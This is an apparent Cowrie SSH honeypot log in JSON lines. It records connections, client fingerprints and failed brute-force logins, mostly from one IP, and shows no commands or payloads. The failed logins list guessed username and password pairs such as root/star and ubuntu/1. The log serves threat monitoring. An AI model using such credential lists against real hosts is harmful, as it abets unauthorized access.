{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:17.729445Z","src_ip":"91.92.40.36","session":"9fbff8fbf779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":43624,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ccbac3bfd3","protocol":"ssh","message":"New connection: 45.78.204.254:43624 (10.17.0.5:22) [session: 36ccbac3bfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:19.051628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:19.484313Z","src_ip":"45.78.204.254","session":"36ccbac3bfd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"d","message":"login attempt [d/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:20.920387Z","src_ip":"91.92.40.36","session":"9fbff8fbf779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"star","message":"login attempt [root/star] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:22.038579Z","src_ip":"91.92.40.36","session":"9acc381c24fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:22.258758Z","src_ip":"91.92.40.36","session":"9fbff8fbf779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:24.592245Z","src_ip":"91.92.40.36","session":"9acc381c24fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:25.014242Z","src_ip":"45.78.204.254","session":"36ccbac3bfd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:25.023048Z","src_ip":"45.78.204.254","session":"36ccbac3bfd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31904,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3834c755f1","protocol":"ssh","message":"New connection: 91.92.40.36:31904 (10.17.0.5:22) [session: fc3834c755f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:26.191045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:26.746923Z","src_ip":"91.92.40.36","session":"fc3834c755f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:27.677109Z","src_ip":"91.92.40.36","session":"fc3834c755f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46228,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9a893070cd","protocol":"ssh","message":"New connection: 91.92.40.36:46228 (10.17.0.5:22) [session: bd9a893070cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:31.807432Z"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"123456","message":"login attempt [gituser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:32.381907Z","src_ip":"91.92.40.36","session":"fc3834c755f1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:32.727779Z","src_ip":"91.92.40.36","session":"bd9a893070cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:32.732440Z","src_ip":"91.92.40.36","session":"bd9a893070cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:35.174217Z","src_ip":"91.92.40.36","session":"fc3834c755f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:36.351427Z","src_ip":"91.92.40.36","session":"bd9a893070cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:38.282689Z","src_ip":"91.92.40.36","session":"bd9a893070cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32538,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f327bab5e00","protocol":"ssh","message":"New connection: 91.92.40.36:32538 (10.17.0.5:22) [session: 2f327bab5e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:38.740056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:40.052465Z","src_ip":"91.92.40.36","session":"2f327bab5e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:40.055854Z","src_ip":"91.92.40.36","session":"2f327bab5e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc4rfv","message":"login attempt [root/!QAZ2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:43.375895Z","src_ip":"91.92.40.36","session":"2f327bab5e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":50100,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d3a7c1dab5","protocol":"ssh","message":"New connection: 45.123.217.22:50100 (10.17.0.5:22) [session: 24d3a7c1dab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:44.227498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:44.232179Z","src_ip":"45.123.217.22","session":"24d3a7c1dab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:44.462846Z","src_ip":"45.123.217.22","session":"24d3a7c1dab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:44.899581Z","src_ip":"91.92.40.36","session":"2f327bab5e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"noc","password":"noc","message":"login attempt [noc/noc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:46.022044Z","src_ip":"45.123.217.22","session":"24d3a7c1dab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:47.253963Z","src_ip":"45.123.217.22","session":"24d3a7c1dab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"50847748030c","protocol":"ssh","message":"New connection: 91.92.40.36:34666 (10.17.0.5:22) [session: 50847748030c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:48.765095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:48.806581Z","src_ip":"91.92.40.36","session":"50847748030c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:48.925587Z","src_ip":"91.92.40.36","session":"50847748030c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:49.347431Z","src_ip":"91.92.40.36","session":"50847748030c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:50.759004Z","src_ip":"91.92.40.36","session":"50847748030c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14622,"dst_ip":"10.17.0.5","dst_port":22,"session":"40153f8db1d9","protocol":"ssh","message":"New connection: 91.92.40.36:14622 (10.17.0.5:22) [session: 40153f8db1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:55.974327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:56.142738Z","src_ip":"91.92.40.36","session":"40153f8db1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:56.163113Z","src_ip":"91.92.40.36","session":"40153f8db1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48758,"dst_ip":"10.17.0.5","dst_port":22,"session":"14bd222d0632","protocol":"ssh","message":"New connection: 62.133.62.83:48758 (10.17.0.5:22) [session: 14bd222d0632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:56.786678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:56.791629Z","src_ip":"62.133.62.83","session":"14bd222d0632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:56.870600Z","src_ip":"62.133.62.83","session":"14bd222d0632","protocol":"ssh"}
